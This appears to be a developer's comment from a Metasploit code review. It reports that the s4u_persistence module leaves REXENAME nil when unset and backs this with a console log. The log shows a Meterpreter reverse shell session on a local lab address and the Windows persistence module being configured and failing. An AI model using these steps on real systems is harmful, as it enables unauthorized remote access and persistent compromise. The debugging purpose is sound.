I dont think because rexename hasn't been assigned:

```
msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.128:4444 
[*] Starting the payload handler...
[*] Sending stage (752128 bytes) to 192.168.1.128
[*] Meterpreter session 1 opened (192.168.1.128:4444 -> 192.168.1.128:64545) at 2013-02-13 21:32:02 +0100

meterpreter > background
[*] Backgrounding session 1...
msf  exploit(handler) > use exploit/windows/local/s4u_persistence 
msf  exploit(s4u_persistence) > show options

Module options (exploit/windows/local/s4u_persistence):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   EXPIRE_TIME                   no        Number of minutes until trigger expires
   FREQUENCY                     no        Schedule trigger: Frequency in minutes to execute
   PATH                          no        PATH to write payload
   REXENAME                      no        Name of exe on remote system
   RTASKNAME                     no        Name of exe on remote system
   SESSION                       yes       The session to run this module on.
   TRIGGER      schedule         yes       Payload trigger method (accepted: logon, lock, unlock, schedule, event)


Exploit target:

   Id  Name
   --  ----
   0   Windows


msf  exploit(s4u_persistence) > set SESSION 1
SESSION => 1
msf  exploit(s4u_persistence) > set REXENAME fail
REXENAME => fail
msf  exploit(s4u_persistence) > exploit

[*] Started reverse handler on 192.168.1.128:4444 
[!] fail isn't an exe
[-] Could not upload to C:\Users\JUANVA~1\AppData\Local\Temp\

```

rexename will be NilClass :)